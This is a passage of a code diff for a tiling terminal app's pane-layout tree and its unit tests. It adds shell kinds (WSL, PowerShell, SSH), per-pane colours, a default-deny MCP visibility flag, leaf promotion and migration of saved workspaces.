type LeafNode,
|
||||
type SplitNode,
|
||||
|
|
@ -38,14 +46,16 @@ function leafDistros(root: TreeNode): (string | undefined)[] {
|
|||
}
|
||||
|
||||
describe("newLeaf", () => {
|
||||
it("returns a leaf with a unique id and no extra metadata", () => {
|
||||
it("returns a leaf with a unique id, default shellKind=wsl, no other metadata", () => {
|
||||
const a = newLeaf();
|
||||
const b = newLeaf();
|
||||
expect(a.kind).toBe("leaf");
|
||||
expect(typeof a.id).toBe("string");
|
||||
expect(a.id).not.toEqual(b.id);
|
||||
expect(a.shellKind).toBe("wsl");
|
||||
expect(a.distro).toBeUndefined();
|
||||
expect(a.cwd).toBeUndefined();
|
||||
expect(a.sshHostId).toBeUndefined();
|
||||
expect(a.label).toBeUndefined();
|
||||
expect(a.broadcast).toBeUndefined();
|
||||
});
|
||||
|
|
@ -56,6 +66,14 @@ describe("newLeaf", () => {
|
|||
expect(leaf.cwd).toBe("/home");
|
||||
expect(leaf.label).toBe("ml");
|
||||
});
|
||||
|
||||
it("respects an explicit non-wsl shellKind", () => {
|
||||
const ps = newLeaf({ shellKind: "powershell" });
|
||||
expect(ps.shellKind).toBe("powershell");
|
||||
const ssh = newLeaf({ shellKind: "ssh", sshHostId: "host-1" });
|
||||
expect(ssh.shellKind).toBe("ssh");
|
||||
expect(ssh.sshHostId).toBe("host-1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("newSplit", () => {
|
||||
|
|
@ -232,10 +250,11 @@ describe("walkLeaves", () => {
|
|||
});
|
||||
|
||||
describe("changeDistro", () => {
|
||||
it("sets the distro on the leaf", () => {
|
||||
const leaf = newLeaf({ distro: "Ubuntu" });
|
||||
const next = changeDistro(leaf, leaf.id, "Debian");
|
||||
expect((next as LeafNode).distro).toBe("Debian");
|
||||
it("sets the distro on the leaf and forces shellKind back to wsl", () => {
|
||||
const leaf = newLeaf({ shellKind: "powershell" });
|
||||
const next = changeDistro(leaf, leaf.id, "Debian") as LeafNode;
|
||||
expect(next.distro).toBe("Debian");
|
||||
expect(next.shellKind).toBe("wsl");
|
||||
});
|
||||
|
||||
it("MUST swap the leaf id (so {#key} remounts XtermPane and kills the PTY)", () => {
|
||||
|
|
@ -254,6 +273,54 @@ describe("changeDistro", () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe("setLeafShell", () => {
|
||||
it("switches a wsl leaf to powershell (and clears wsl-specific fields)", () => {
|
||||
const leaf = newLeaf({ distro: "Ubuntu", cwd: "/work", label: "keep" });
|
||||
const next = setLeafShell(leaf, leaf.id, { shellKind: "powershell" }) as LeafNode;
|
||||
expect(next.shellKind).toBe("powershell");
|
||||
expect(next.distro).toBeUndefined();
|
||||
expect(next.cwd).toBeUndefined();
|
||||
expect(next.label).toBe("keep");
|
||||
});
|
||||
|
||||
it("switches a leaf to ssh and records sshHostId", () => {
|
||||
const leaf = newLeaf({ distro: "Ubuntu" });
|
||||
const next = setLeafShell(leaf, leaf.id, {
|
||||
shellKind: "ssh",
|
||||
sshHostId: "host-abc",
|
||||
}) as LeafNode;
|
||||
expect(next.shellKind).toBe("ssh");
|
||||
expect(next.sshHostId).toBe("host-abc");
|
||||
expect(next.distro).toBeUndefined();
|
||||
});
|
||||
|
||||
it("MUST swap the leaf id (forces PTY respawn)", () => {
|
||||
const leaf = newLeaf({ shellKind: "powershell" });
|
||||
const next = setLeafShell(leaf, leaf.id, {
|
||||
shellKind: "ssh",
|
||||
sshHostId: "h1",
|
||||
}) as LeafNode;
|
||||
expect(next.id).not.toBe(leaf.id);
|
||||
});
|
||||
|
||||
it("preserves label / broadcast / fontSizeOffset / colorOverride across the shell change", () => {
|
||||
const leaf = newLeaf({
|
||||
distro: "Ubuntu",
|
||||
label: "my pane",
|
||||
broadcast: true,
|
||||
fontSizeOffset: 2,
|
||||
colorOverride: { background: "#101010" },
|
||||
});
|
||||
const next = setLeafShell(leaf, leaf.id, {
|
||||
shellKind: "powershell",
|
||||
}) as LeafNode;
|
||||
expect(next.label).toBe("my pane");
|
||||
expect(next.broadcast).toBe(true);
|
||||
expect(next.fontSizeOffset).toBe(2);
|
||||
expect(next.colorOverride).toEqual({ background: "#101010" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("changeLabel", () => {
|
||||
it("sets a label", () => {
|
||||
const leaf = newLeaf();
|
||||
|
|
@ -304,6 +371,79 @@ describe("toggleBroadcast", () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe("toggleMcpAllow", () => {
|
||||
it("default-undefined toggles to true", () => {
|
||||
const leaf = newLeaf();
|
||||
expect(leaf.mcpAllow).toBeUndefined();
|
||||
const on = toggleMcpAllow(leaf, leaf.id) as LeafNode;
|
||||
expect(on.mcpAllow).toBe(true);
|
||||
});
|
||||
|
||||
it("true toggles to false", () => {
|
||||
const leaf = newLeaf({ mcpAllow: true });
|
||||
const off = toggleMcpAllow(leaf, leaf.id) as LeafNode;
|
||||
expect(off.mcpAllow).toBe(false);
|
||||
});
|
||||
|
||||
it("MUST NOT swap the leaf id (metadata-only, no PTY respawn)", () => {
|
||||
const leaf = newLeaf();
|
||||
const next = toggleMcpAllow(leaf, leaf.id) as LeafNode;
|
||||
expect(next.id).toBe(leaf.id);
|
||||
});
|
||||
});
|
||||
|
||||
describe("setLeafColors", () => {
|
||||
it("sets an override on a leaf with none", () => {
|
||||
const leaf = newLeaf();
|
||||
expect(leaf.colorOverride).toBeUndefined();
|
||||
const next = setLeafColors(leaf, leaf.id, {
|
||||
background: "#001122",
|
||||
foreground: "#ddeeff",
|
||||
}) as LeafNode;
|
||||
expect(next.colorOverride).toEqual({
|
||||
background: "#001122",
|
||||
foreground: "#ddeeff",
|
||||
});
|
||||
});
|
||||
|
||||
it("replaces an existing override wholesale", () => {
|
||||
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
|
||||
const next = setLeafColors(leaf, leaf.id, { cursor: "#ff0000" }) as LeafNode;
|
||||
expect(next.colorOverride).toEqual({ cursor: "#ff0000" });
|
||||
});
|
||||
|
||||
it("clears the override when passed undefined", () => {
|
||||
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
|
||||
const next = setLeafColors(leaf, leaf.id, undefined) as LeafNode;
|
||||
expect(next.colorOverride).toBeUndefined();
|
||||
expect("colorOverride" in next).toBe(false);
|
||||
});
|
||||
|
||||
it("clears the override when passed an all-undefined object", () => {
|
||||
const leaf = newLeaf({ colorOverride: { background: "#000000" } });
|
||||
const next = setLeafColors(leaf, leaf.id, {
|
||||
background: undefined,
|
||||
foreground: undefined,
|
||||
cursor: undefined,
|
||||
selection: undefined,
|
||||
}) as LeafNode;
|
||||
expect(next.colorOverride).toBeUndefined();
|
||||
expect("colorOverride" in next).toBe(false);
|
||||
});
|
||||
|
||||
it("returns the same reference when clearing an already-unset override", () => {
|
||||
const leaf = newLeaf();
|
||||
const next = setLeafColors(leaf, leaf.id, undefined);
|
||||
expect(next).toBe(leaf);
|
||||
});
|
||||
|
||||
it("MUST NOT swap the leaf id (metadata-only, no PTY respawn)", () => {
|
||||
const leaf = newLeaf();
|
||||
const next = setLeafColors(leaf, leaf.id, { background: "#123456" }) as LeafNode;
|
||||
expect(next.id).toBe(leaf.id);
|
||||
});
|
||||
});
|
||||
|
||||
describe("resolveFontSize", () => {
|
||||
it("returns the default when offset is undefined or 0", () => {
|
||||
expect(resolveFontSize(undefined)).toBe(DEFAULT_FONT_SIZE);
|
||||
|
|
@ -444,6 +584,86 @@ describe("presets", () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe("promoteLeaf", () => {
|
||||
it("HSplit(a, VSplit(b, c)) + promote c → VSplit(HSplit(a, b), c)", () => {
|
||||
const a = newLeaf({ label: "a" });
|
||||
const b = newLeaf({ label: "b" });
|
||||
const c = newLeaf({ label: "c" });
|
||||
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
|
||||
const next = promoteLeaf(tree, c.id) as SplitNode;
|
||||
expect(next.orientation).toBe("v");
|
||||
const top = next.a as SplitNode;
|
||||
expect(top.orientation).toBe("h");
|
||||
expect((top.a as LeafNode).label).toBe("a");
|
||||
expect((top.b as LeafNode).label).toBe("b");
|
||||
expect((next.b as LeafNode).label).toBe("c");
|
||||
});
|
||||
|
||||
it("HSplit(a, VSplit(b, c)) + promote b → VSplit(b, HSplit(a, c))", () => {
|
||||
const a = newLeaf({ label: "a" });
|
||||
const b = newLeaf({ label: "b" });
|
||||
const c = newLeaf({ label: "c" });
|
||||
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
|
||||
const next = promoteLeaf(tree, b.id) as SplitNode;
|
||||
expect(next.orientation).toBe("v");
|
||||
expect((next.a as LeafNode).label).toBe("b");
|
||||
const bot = next.b as SplitNode;
|
||||
expect(bot.orientation).toBe("h");
|
||||
expect((bot.a as LeafNode).label).toBe("a");
|
||||
expect((bot.b as LeafNode).label).toBe("c");
|
||||
});
|
||||
|
||||
it("is self-inverse — promote c then promote a returns the original shape", () => {
|
||||
const a = newLeaf({ label: "a" });
|
||||
const b = newLeaf({ label: "b" });
|
||||
const c = newLeaf({ label: "c" });
|
||||
const tree = newSplit("h", a, newSplit("v", b, c, 0.5), 0.5);
|
||||
const promoted = promoteLeaf(tree, c.id)!;
|
||||
const restored = promoteLeaf(promoted, a.id) as SplitNode;
|
||||
expect(restored.orientation).toBe("h");
|
||||
expect((restored.a as LeafNode).label).toBe("a");
|
||||
const inner = restored.b as SplitNode;
|
||||
expect(inner.orientation).toBe("v");
|
||||
expect((inner.a as LeafNode).label).toBe("b");
|
||||
expect((inner.b as LeafNode).label).toBe("c");
|
||||
});
|
||||
|
||||
it("returns null when the leaf has no parent (single-leaf root)", () => {
|
||||
const leaf = newLeaf();
|
||||
expect(promoteLeaf(leaf, leaf.id)).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when the leaf's parent is the root (no grandparent)", () => {
|
||||
const a = newLeaf();
|
||||
const b = newLeaf();
|
||||
const root = newSplit("h", a, b);
|
||||
expect(promoteLeaf(root, a.id)).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when parent and grandparent share orientation", () => {
|
||||
const a = newLeaf();
|
||||
const b = newLeaf();
|
||||
const c = newLeaf();
|
||||
const inner = newSplit("h", b, c);
|
||||
const root = newSplit("h", a, inner);
|
||||
expect(promoteLeaf(root, b.id)).toBeNull();
|
||||
});
|
||||
|
||||
it("preserves all leaf ids (no PTYs respawn on promote)", () => {
|
||||
const a = newLeaf({ label: "a" });
|
||||
const b = newLeaf({ label: "b" });
|
||||
const c = newLeaf({ label: "c" });
|
||||
const tree = newSplit("h", a, newSplit("v", b, c));
|
||||
const before = Array.from(walkLeaves(tree))
|
||||
.map((l) => l.id)
|
||||
.sort();
|
||||
const after = Array.from(walkLeaves(promoteLeaf(tree, c.id)!))
|
||||
.map((l) => l.id)
|
||||
.sort();
|
||||
expect(after).toEqual(before);
|
||||
});
|
||||
});
|
||||
|
||||
describe("serialize / deserialize", () => {
|
||||
it("roundtrips a complex tree", () => {
|
||||
const leaf1 = newLeaf({ distro: "Ubuntu", label: "left", broadcast: true });
|
||||
|
|
@ -466,10 +686,120 @@ describe("serialize / deserialize", () => {
|
|||
).toBeNull(); // missing ratio + children
|
||||
});
|
||||
|
||||
it("accepts a minimal leaf shape", () => {
|
||||
it("accepts a minimal leaf shape (backfilling shellKind for legacy data)", () => {
|
||||
expect(deserialize('{"kind": "leaf", "id": "x"}')).toEqual({
|
||||
kind: "leaf",
|
||||
id: "x",
|
||||
shellKind: "wsl",
|
||||
});
|
||||
});
|
||||
|
||||
it("migrates legacy PowerShell-sentinel leaves to shellKind=powershell", () => {
|
||||
const legacy = JSON.stringify({
|
||||
kind: "split",
|
||||
id: "s1",
|
||||
orientation: "h",
|
||||
ratio: 0.5,
|
||||
a: { kind: "leaf", id: "a", distro: "PowerShell" },
|
||||
b: { kind: "leaf", id: "b", distro: "Ubuntu" },
|
||||
});
|
||||
const back = deserialize(legacy) as SplitNode;
|
||||
const left = back.a as LeafNode;
|
||||
const right = back.b as LeafNode;
|
||||
expect(left.shellKind).toBe("powershell");
|
||||
expect(left.distro).toBeUndefined();
|
||||
expect(right.shellKind).toBe("wsl");
|
||||
expect(right.distro).toBe("Ubuntu");
|
||||
});
|
||||
|
||||
it("leaves shellKind alone on already-migrated leaves", () => {
|
||||
const fresh = JSON.stringify({
|
||||
kind: "leaf",
|
||||
id: "x",
|
||||
shellKind: "ssh",
|
||||
sshHostId: "h-1",
|
||||
});
|
||||
const back = deserialize(fresh) as LeafNode;
|
||||
expect(back.shellKind).toBe("ssh");
|
||||
expect(back.sshHostId).toBe("h-1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("workspaces envelope", () => {
|
||||
it("roundtrips a multi-workspace envelope", () => {
|
||||
const env = {
|
||||
version: WORKSPACES_VERSION,
|
||||
workspaces: [
|
||||
{ id: "w1", name: "alpha", tree: newLeaf({ distro: "Ubuntu" }) },
|
||||
{
|
||||
id: "w2",
|
||||
name: "beta",
|
||||
tree: newSplit("h", newLeaf({ label: "left" }), newLeaf()),
|
||||
},
|
||||
],
|
||||
};
|
||||
const back = deserializeWorkspaces(serializeWorkspaces(env));
|
||||
expect(back).toEqual(env);
|
||||
});
|
||||
|
||||
it("returns null on invalid JSON", () => {
|
||||
expect(deserializeWorkspaces("not json")).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when version is wrong or workspaces is missing", () => {
|
||||
expect(deserializeWorkspaces('{"version": 99, "workspaces": []}')).toBeNull();
|
||||
expect(deserializeWorkspaces('{"version": 2}')).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null when an envelope has zero valid workspaces", () => {
|
||||
expect(
|
||||
deserializeWorkspaces('{"version": 2, "workspaces": [{"id": 1}]}'),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("migrates a legacy v1 bare-tree JSON into a single 'Default' workspace", () => {
|
||||
const legacy = JSON.stringify({
|
||||
kind: "split",
|
||||
id: "s1",
|
||||
orientation: "h",
|
||||
ratio: 0.5,
|
||||
a: { kind: "leaf", id: "a", distro: "Ubuntu" },
|
||||
b: { kind: "leaf", id: "b", distro: "PowerShell" },
|
||||
});
|
||||
const env = deserializeWorkspaces(legacy);
|
||||
expect(env).not.toBeNull();
|
||||
expect(env!.version).toBe(WORKSPACES_VERSION);
|
||||
expect(env!.workspaces.length).toBe(1);
|
||||
expect(env!.workspaces[0].name).toBe("Default");
|
||||
// Per-leaf legacy migration also applied — PowerShell sentinel mapped.
|
||||
const tree = env!.workspaces[0].tree as SplitNode;
|
||||
expect((tree.a as LeafNode).shellKind).toBe("wsl");
|
||||
expect((tree.b as LeafNode).shellKind).toBe("powershell");
|
||||
expect((tree.b as LeafNode).distro).toBeUndefined();
|
||||
});
|
||||
|
||||
it("singletonEnvelope wraps a tree with a fresh workspace id", () => {
|
||||
const t = newLeaf({ label: "only" });
|
||||
const env = singletonEnvelope(t, "Main");
|
||||
expect(env.workspaces.length).toBe(1);
|
||||
expect(env.workspaces[0].name).toBe("Main");
|
||||
expect(env.workspaces[0].tree).toBe(t);
|
||||
expect(typeof env.workspaces[0].id).toBe("string");
|
||||
expect(env.workspaces[0].id).not.toBe(t.id);
|
||||
});
|
||||
|
||||
it("skips malformed workspaces but keeps the valid ones", () => {
|
||||
const env = {
|
||||
version: WORKSPACES_VERSION,
|
||||
workspaces: [
|
||||
{ id: "ok", name: "alpha", tree: { kind: "leaf", id: "L" } },
|
||||
{ id: 42, name: "bad-id", tree: { kind: "leaf", id: "L2" } },
|
||||
{ id: "no-tree", name: "still-bad" },
|
||||
],
|
||||
};
|
||||
const back = deserializeWorkspaces(JSON.stringify(env));
|
||||
expect(back).not.toBeNull();
|
||||
expect(back!.workspaces.length).toBe(1);
|
||||
expect(back!.workspaces[0].id).toBe("ok");
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -5,18 +5,32 @@
|
|||
//! tmux / i3 / Zellij use — dragging a gutter mutates one parent ratio,
|
||||
//! both sibling subtrees reflow automatically.
|
||||
|
||||
import type { PaneColors } from "../theme";
|
||||
|
||||
export type NodeId = string;
|
||||
|
||||
/** 'h' = side-by-side (a on left, b on right). 'v' = stacked (a on top, b below). */
|
||||
export type Orientation = "h" | "v";
|
||||
|
||||
/** What kind of shell a leaf is running. Determines which fields on
|
||||
* LeafNode are meaningful at spawn time and which spawn-spec the backend
|
||||
* receives. Migration on deserialize backfills this for pre-shellKind
|
||||
* workspaces (PowerShell was previously a sentinel `distro` string). */
|
||||
export type ShellKind = "wsl" | "powershell" | "ssh";
|
||||
|
||||
export interface LeafNode {
|
||||
kind: "leaf";
|
||||
id: NodeId;
|
||||
/** WSL distro the pane was spawned against. */
|
||||
/** Discriminator: which shell-type this pane runs. */
|
||||
shellKind: ShellKind;
|
||||
/** WSL distro the pane was spawned against. Only meaningful when
|
||||
* shellKind === "wsl". */
|
||||
distro?: string;
|
||||
/** Working directory the pane was started in. Not currently used at spawn time but preserved for future. */
|
||||
/** Working directory the pane was started in. Only meaningful when
|
||||
* shellKind === "wsl". */
|
||||
cwd?: string;
|
||||
/** Saved-host id (see SshHost). Only meaningful when shellKind === "ssh". */
|
||||
sshHostId?: string;
|
||||
/** Optional user label shown in the pane toolbar. */
|
||||
label?: string;
|
||||
/**
|
||||
|
|
@ -32,6 +46,20 @@ export interface LeafNode {
|
|||
* later doesn't require migrating saved workspaces.
|
||||
*/
|
||||
fontSizeOffset?: number;
|
||||
/**
|
||||
* Per-pane colour override. Any field set here wins over the app-wide
|
||||
* global theme (see {@link resolvePaneColors}); unset fields fall through.
|
||||
* Undefined / empty means "use the global theme". Metadata-only — changing
|
||||
* it never respawns the PTY.
|
||||
*/
|
||||
colorOverride?: PaneColors;
|
||||
/**
|
||||
* If true, this pane is visible to the MCP server (Claude can list it,
|
||||
* read its scrollback, etc.). Default-DENY: when undefined or false, the
|
||||
* MCP surface filters this pane out entirely. Toggled via the per-pane
|
||||
* MCP chip in the toolbar.
|
||||
*/
|
||||
mcpAllow?: boolean;
|
||||
}
|
||||
|
||||
/** Base xterm.js font size in px. Per-leaf offset adds on top of this. */
|
||||
|
|
@ -52,7 +80,7 @@ export interface SplitNode {
|
|||
|
||||
export type TreeNode = LeafNode | SplitNode;
|
||||
|
||||
function newId(): NodeId {
|
||||
export function newId(): NodeId {
|
||||
return (
|
||||
globalThis.crypto?.randomUUID?.() ??
|
||||
Math.random().toString(36).slice(2, 12)
|
||||
|
|
@ -60,7 +88,48 @@ function newId(): NodeId {
|
|||
}
|
||||
|
||||
export function newLeaf(props: Partial<Omit<LeafNode, "kind" | "id">> = {}): LeafNode {
|
||||
return { kind: "leaf", id: newId(), ...props };
|
||||
return { kind: "leaf", id: newId(), shellKind: "wsl", ...props };
|
||||
}
|
||||
|
||||
/** Spec for switching a leaf's shell. Discriminated by shellKind. Used by
|
||||
* {@link setLeafShell}; the helper always swaps the leaf id so the renderer
|
||||
* remounts XtermPane (kills the old PTY → spawns a fresh one with the new
|
||||
* spec). */
|
||||
export type LeafShellSpec =
|
||||
| { shellKind: "wsl"; distro?: string; cwd?: string }
|
||||
| { shellKind: "powershell" }
|
||||
| { shellKind: "ssh"; sshHostId: string };
|
||||
|
||||
/**
|
||||
* Replace the leaf's shell-kind and shell-specific fields, then swap its id
|
||||
* so the renderer's `key={leaf.id}` block remounts XtermPane (kills the old
|
||||
* PTY → spawns a fresh one). Metadata like label / broadcast / font-size
|
||||
* survives.
|
||||
*/
|
||||
export function setLeafShell(
|
||||
root: TreeNode,
|
||||
leafId: NodeId,
|
||||
spec: LeafShellSpec,
|
||||
): TreeNode {
|
||||
return replaceById(root, leafId, (node) => {
|
||||
if (node.kind !== "leaf") return node;
|
||||
const base: LeafNode = {
|
||||
kind: "leaf",
|
||||
id: newId(),
|
||||
shellKind: spec.shellKind,
|
||||
label: node.label,
|
||||
broadcast: node.broadcast,
|
||||
fontSizeOffset: node.fontSizeOffset,
|
||||
colorOverride: node.colorOverride,
|
||||
};
|
||||
if (spec.shellKind === "wsl") {
|
||||
if (spec.distro !== undefined) base.distro = spec.distro;
|
||||
if (spec.cwd !== undefined) base.cwd = spec.cwd;
|
||||
} else if (spec.shellKind === "ssh") {
|
||||
base.sshHostId = spec.sshHostId;
|
||||
}
|
||||
return base;
|
||||
});
|
||||
}
|
||||
|
||||
export function newSplit(
|
||||
|
|
@ -99,6 +168,22 @@ export function splitLeaf(
|
|||
});
|
||||
}
|
||||
|
||||
/** Like {@link splitLeaf} but inserts a caller-constructed LeafNode (with a
|
||||
* predetermined id) rather than minting a fresh one. Used by the MCP
|
||||
* spawn_pane handler which needs the id up-front so it can wait for the
|
||||
* matching registerPaneId call before replying to the backend. */
|
||||
export function splitLeafWith(
|
||||
root: TreeNode,
|
||||
leafId: NodeId,
|
||||
orientation: Orientation,
|
||||
leaf: LeafNode,
|
||||
): TreeNode {
|
||||
return replaceById(root, leafId, (node) => {
|
||||
if (node.kind !== "leaf") return node;
|
||||
return newSplit(orientation, node, leaf);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the leaf with the given id. The other child of its parent split
|
||||
* takes the parent's place in the tree. Returns null if the closed leaf
|
||||
|
|
@ -128,19 +213,18 @@ export function findLeaf(root: TreeNode, leafId: NodeId): LeafNode | null {
|
|||
}
|
||||
|
||||
/**
|
||||
* Swap the distro on a leaf. The leaf gets a **new id** so the rendering
|
||||
* layer's `{#key node.id}` block remounts XtermPane — the old PTY is killed
|
||||
* and a fresh one spawns with the new distro.
|
||||
* Swap the WSL distro on a leaf. The leaf gets a **new id** so the rendering
|
||||
* layer remounts XtermPane — the old PTY is killed and a fresh one spawns
|
||||
* against the new distro. Also forces shellKind back to "wsl" if the leaf
|
||||
* had been a non-WSL kind (which is what the existing per-pane dropdown
|
||||
* does when the user picks a WSL distro entry).
|
||||
*/
|
||||
export function changeDistro(
|
||||
root: TreeNode,
|
||||
leafId: NodeId,
|
||||
distro: string,
|
||||
): TreeNode {
|
||||
return replaceById(root, leafId, (node) => {
|
||||
if (node.kind !== "leaf") return node;
|
||||
return { ...node, id: newId(), distro };
|
||||
});
|
||||
return setLeafShell(root, leafId, { shellKind: "wsl", distro });
|
||||
}
|
||||
|
||||
/** Set or clear a leaf's label. Does NOT remount (label is metadata only). */
|
||||
|
|
@ -211,6 +295,41 @@ export function toggleBroadcast(root: TreeNode, leafId: NodeId): TreeNode {
|
|||
});
|
||||
}
|
||||
|
||||
/** Toggle a leaf's mcpAllow flag. Metadata-only — does NOT swap the id.
|
||||
* Drives whether the MCP server includes this pane in its surface. */
|
||||
export function toggleMcpAllow(root: TreeNode, leafId: NodeId): TreeNode {
|
||||
return replaceById(root, leafId, (node) => {
|
||||
if (node.kind !== "leaf") return node;
|
||||
return { ...node, mcpAllow: !node.mcpAllow };
|
||||
});
|
||||
}
|
||||
|
||||
/** Set (or clear) a leaf's per-pane colour override. Pass `undefined` or an
|
||||
* empty object to drop the override so the pane falls back to the global
|
||||
* theme. Metadata-only — does NOT swap the id, so the PTY keeps running. */
|
||||
export function setLeafColors(
|
||||
root: TreeNode,
|
||||
leafId: NodeId,
|
||||
colors: PaneColors | undefined,
|
||||
): TreeNode {
|
||||
return replaceById(root, leafId, (node) => {
|
||||
if (node.kind !== "leaf") return node;
|
||||
const empty =
|
||||
!colors ||
|
||||
(colors.background === undefined &&
|
||||
colors.foreground === undefined &&
|
||||
colors.cursor === undefined &&
|
||||
colors.selection === undefined);
|
||||
if (empty) {
|
||||
if (node.colorOverride === undefined) return node;
|
||||
const next: LeafNode = { ...node };
|
||||
delete next.colorOverride;
|
||||
return next;
|
||||
}
|
||||
return { ...node, colorOverride: colors };
|
||||
});
|
||||
}
|
||||
|
||||
/** Compute the actual pixel font size from a leaf's offset, clamped to
|
||||
* [MIN_FONT_SIZE, MAX_FONT_SIZE]. */
|
||||
export function resolveFontSize(offset: number | undefined): number {
|
||||
|
|
@ -293,11 +412,15 @@ export function reshapeToPreset(
|
|||
if (!src) break;
|
||||
const slot = slots[i];
|
||||
slot.id = src.id;
|
||||
slot.shellKind = src.shellKind;
|
||||
if (src.distro !== undefined) slot.distro = src.distro;
|
||||
if (src.cwd !== undefined) slot.cwd = src.cwd;
|
||||
if (src.sshHostId !== undefined) slot.sshHostId = src.sshHostId;
|
||||
if (src.label !== undefined) slot.label = src.label;
|
||||
if (src.broadcast !== undefined) slot.broadcast = src.broadcast;
|
||||
if (src.fontSizeOffset !== undefined) slot.fontSizeOffset = src.fontSizeOffset;
|
||||
if (src.colorOverride !== undefined) slot.colorOverride = src.colorOverride;
|
||||
if (src.mcpAllow !== undefined) slot.mcpAllow = src.mcpAllow;
|
||||
}
|
||||
|
||||
for (let i = slots.length; i < existingLeaves.length; i++) {
|
||||
|
|
@ -429,6 +552,91 @@ export function updateSplitRatio(root: TreeNode, splitId: NodeId, ratio: number)
|
|||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Promote the given leaf out one level in the tree — the keyboard-driven
|
||||
* equivalent of the "drag past sibling" gesture. Given:
|
||||
*
|
||||
* L's parent split P, P's parent split G (must be perpendicular to P)
|
||||
*
|
||||
* restructure so L becomes a direct sibling of the combined (P's other
|
||||
* child + G's other child) subtree:
|
||||
*
|
||||
* HSplit(a, VSplit(b, c)) ──(promote c)──> VSplit(HSplit(a, b), c)
|
||||
* HSplit(a, VSplit(b, c)) ──(promote b)──> VSplit(b, HSplit(a, c))
|
||||
*
|
||||
* Self-inverse: promoting L, then promoting the leaf adjacent to L in the
|
||||
* combined subtree, returns the original tree. Ratios from P and G carry
|
||||
* across so the visible layout is approximately preserved.
|
||||
*
|
||||
* Returns `null` when the gesture can't apply: leaf not found, leaf is
|
||||
* the root (no parent), parent is the root (no grandparent), or
|
||||
* parent's orientation matches grandparent's (no perpendicular promotion
|
||||
* available — same-axis nesting doesn't change the workspace shape).
|
||||
*/
|
||||
export function promoteLeaf(root: TreeNode, leafId: NodeId): TreeNode | null {
|
||||
const found = findLeafWithAncestors(root, leafId);
|
||||
if (!found) return null;
|
||||
const { l, p, g, isLFirstInP, isPFirstInG } = found;
|
||||
if (p.orientation === g.orientation) return null;
|
||||
|
||||
const siblingOfL = isLFirstInP ? p.b : p.a;
|
||||
const siblingOfP = isPFirstInG ? g.b : g.a;
|
||||
|
||||
// Combined keeps G's orientation; sibling-of-P stays on its original
|
||||
// G-side so we don't accidentally mirror unrelated panes.
|
||||
const combined: SplitNode = {
|
||||
kind: "split",
|
||||
id: newId(),
|
||||
orientation: g.orientation,
|
||||
ratio: g.ratio,
|
||||
a: isPFirstInG ? siblingOfL : siblingOfP,
|
||||
b: isPFirstInG ? siblingOfP : siblingOfL,
|
||||
};
|
||||
// New outer keeps P's orientation; L stays on its original P-side.
|
||||
const newOuter: SplitNode = {
|
||||
kind: "split",
|
||||
id: newId(),
|
||||
orientation: p.orientation,
|
||||
ratio: p.ratio,
|
||||
a: isLFirstInP ? l : combined,
|
||||
b: isLFirstInP ? combined : l,
|
||||
};
|
||||
|
||||
return replaceById(root, g.id, () => newOuter);
|
||||
}
|
||||
|
||||
/** Locate a leaf and its parent + grandparent splits. Returns null if
|
||||
* the leaf doesn't exist or doesn't have two ancestor splits. */
|
||||
function findLeafWithAncestors(
|
||||
root: TreeNode,
|
||||
leafId: NodeId,
|
||||
): {
|
||||
l: LeafNode;
|
||||
p: SplitNode;
|
||||
g: SplitNode;
|
||||
isLFirstInP: boolean;
|
||||
isPFirstInG: boolean;
|
||||
} | null {
|
||||
if (root.kind !== "split") return null;
|
||||
// root is the grandparent candidate (G). Look at each direct child of
|
||||
// root — if that child is a split (P), check P's children for the leaf.
|
||||
for (const isPFirstInG of [true, false]) {
|
||||
const p = isPFirstInG ? root.a : root.b;
|
||||
if (p.kind !== "split") continue;
|
||||
if (p.a.kind === "leaf" && p.a.id === leafId) {
|
||||
return { l: p.a, p, g: root, isLFirstInP: true, isPFirstInG };
|
||||
}
|
||||
if (p.b.kind === "leaf" && p.b.id === leafId) {
|
||||
return { l: p.b, p, g: root, isLFirstInP: false, isPFirstInG };
|
||||
}
|
||||
}
|
||||
// Recurse on root's children to find deeper L-P-G triples.
|
||||
return (
|
||||
findLeafWithAncestors(root.a, leafId) ??
|
||||
findLeafWithAncestors(root.b, leafId)
|
||||
);
|
||||
}
|
||||
|
||||
export type Direction = "left" | "right" | "up" | "down";
|
||||
|
||||
/** Spatial pane navigation: given an active leaf, find the nearest neighbor
|
||||
|
|
@ -518,17 +726,124 @@ export function serialize(root: TreeNode): string {
|
|||
return JSON.stringify(root);
|
||||
}
|
||||
|
||||
/** Parse JSON back to a tree. Returns null on invalid input. */
|
||||
/** Parse JSON back to a tree. Returns null on invalid input. Pre-shellKind
|
||||
* workspaces are migrated in place: leaves without `shellKind` get one
|
||||
* inferred from the legacy `distro` sentinel (`"PowerShell"` → powershell,
|
||||
* anything else → wsl). */
|
||||
export function deserialize(json: string): TreeNode | null {
|
||||
try {
|
||||
const parsed = JSON.parse(json);
|
||||
if (!isTreeNode(parsed)) return null;
|
||||
return parsed;
|
||||
return migrateLegacyLeaves(parsed);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ---- workspaces envelope ---------------------------------------------------
|
||||
|
||||
/** One named tab in the tab strip. Each workspace owns its own tile tree;
|
||||
* leaf NodeIds remain globally unique across workspaces so the app-level
|
||||
* paneIdByLeaf map continues to work without partitioning. */
|
||||
export interface Workspace {
|
||||
id: NodeId;
|
||||
name: string;
|
||||
tree: TreeNode;
|
||||
}
|
||||
|
||||
/** Top-level persistence shape. `version` bumps when the envelope schema
|
||||
* changes; the v1 shape was a bare TreeNode at the JSON root, migrated
|
||||
